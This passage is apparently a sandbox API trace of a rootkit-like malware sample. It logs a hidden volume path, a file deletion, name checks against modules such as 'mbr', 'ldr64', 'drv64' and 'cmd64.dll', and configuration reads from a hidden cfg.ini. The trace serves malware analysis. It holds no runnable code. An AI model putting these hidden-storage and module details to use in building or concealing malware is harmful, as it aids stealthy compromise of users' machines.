(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.079] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.079] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.079] KeEnterCriticalRegion () [0127.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.079] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.079] IdePortDispatch () returned 0x103 [0127.079] KeWaitForMutexObject () returned 0x0 [0127.079] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.079] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.079] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.079] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.079] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.079] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.079] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.079] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.079] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.079] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.080] KeLeaveCriticalRegion () [0127.080] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.080] ReleaseMutex (hMutex=0x100) returned 1 [0127.080] Sleep (dwMilliseconds=0x2bf20) [0127.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ef2f9f0, dwHighDateTime=0x1d24fa4)) [0127.087] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.087] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.087] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.087] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.087] KeEnterCriticalRegion () [0127.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.087] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.087] IdePortDispatch () returned 0x103 [0127.087] KeWaitForMutexObject () returned 0x0 [0127.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.087] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.087] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.087] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.087] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.087] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da730 [0127.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.088] KeLeaveCriticalRegion () [0127.088] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.088] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.088] KeEnterCriticalRegion () [0127.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.088] KeLeaveCriticalRegion () [0127.088] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.088] KeEnterCriticalRegion () [0127.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.088] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.088] IdePortDispatch () returned 0x103 [0127.088] KeWaitForMutexObject () returned 0x0 [0127.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.088] KeLeaveCriticalRegion () [0127.088] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.088] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.088] KeEnterCriticalRegion () [0127.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.088] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7d000 [0127.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.088] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.088] IdePortDispatch () returned 0x103 [0127.089] KeWaitForMutexObject () returned 0x0 [0127.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.089] IdePortDispatch () returned 0x103 [0127.089] KeWaitForMutexObject () returned 0x0 [0127.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.089] KeLeaveCriticalRegion () [0127.089] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.089] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.089] KeEnterCriticalRegion () [0127.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.089] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.089] KeLeaveCriticalRegion () [0127.089] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.089] KeEnterCriticalRegion () [0127.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.090] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] KeLeaveCriticalRegion () [0127.090] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.090] KeEnterCriticalRegion () [0127.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] ExFreePoolWithTag (P=0xfffffa80037da730, Tag=0x0) [0127.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] KeLeaveCriticalRegion () [0127.090] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.090] ReleaseMutex (hMutex=0xf0) returned 1 [0127.090] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.090] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.090] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.090] KeEnterCriticalRegion () [0127.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.090] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.090] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.090] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.090] IdePortDispatch () returned 0x103 [0127.090] KeWaitForMutexObject () returned 0x0 [0127.090] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.090] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.090] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.090] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.090] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.090] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da900 [0127.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] KeLeaveCriticalRegion () [0127.090] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.090] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.090] KeEnterCriticalRegion () [0127.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.090] KeLeaveCriticalRegion () [0127.091] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.091] KeEnterCriticalRegion () [0127.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.091] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.091] IdePortDispatch () returned 0x103 [0127.091] KeWaitForMutexObject () returned 0x0 [0127.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.091] KeLeaveCriticalRegion () [0127.091] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.091] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.091] KeEnterCriticalRegion () [0127.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7e000 [0127.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.091] IdePortDispatch () returned 0x103 [0127.092] KeWaitForMutexObject () returned 0x0 [0127.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.092] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.092] IdePortDispatch () returned 0x103 [0127.092] KeWaitForMutexObject () returned 0x0 [0127.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.092] KeLeaveCriticalRegion () [0127.092] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.093] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.093] KeEnterCriticalRegion () [0127.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] KeLeaveCriticalRegion () [0127.093] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.093] KeEnterCriticalRegion () [0127.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.093] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] KeLeaveCriticalRegion () [0127.093] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.093] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.093] KeEnterCriticalRegion () [0127.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] ExFreePoolWithTag (P=0xfffffa80037da900, Tag=0x0) [0127.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] KeLeaveCriticalRegion () [0127.093] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.093] ReleaseMutex (hMutex=0xf0) returned 1 [0127.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.093] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.093] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.093] KeEnterCriticalRegion () [0127.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.093] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.093] IdePortDispatch () returned 0x103 [0127.094] KeWaitForMutexObject () returned 0x0 [0127.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.094] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.094] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.094] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.094] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.094] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da590 [0127.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.094] KeLeaveCriticalRegion () [0127.094] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.094] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.094] KeEnterCriticalRegion () [0127.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.094] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.094] KeLeaveCriticalRegion () [0127.094] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.094] KeEnterCriticalRegion () [0127.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.094] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.094] IdePortDispatch () returned 0x103 [0127.094] KeWaitForMutexObject () returned 0x0 [0127.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.094] KeLeaveCriticalRegion () [0127.094] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.094] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.094] KeEnterCriticalRegion () [0127.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7f000 [0127.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.095] IdePortDispatch () returned 0x103 [0127.095] KeWaitForMutexObject () returned 0x0 [0127.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.095] IdePortDispatch () returned 0x103 [0127.095] KeWaitForMutexObject () returned 0x0 [0127.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.095] KeLeaveCriticalRegion () [0127.095] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.095] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.096] KeEnterCriticalRegion () [0127.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.096] KeLeaveCriticalRegion () [0127.096] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.096] KeEnterCriticalRegion () [0127.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.096] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.096] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.096] KeLeaveCriticalRegion () [0127.096] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.096] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.096] KeEnterCriticalRegion () [0127.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.096] ExFreePoolWithTag (P=0xfffffa80037da590, Tag=0x0) [0127.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 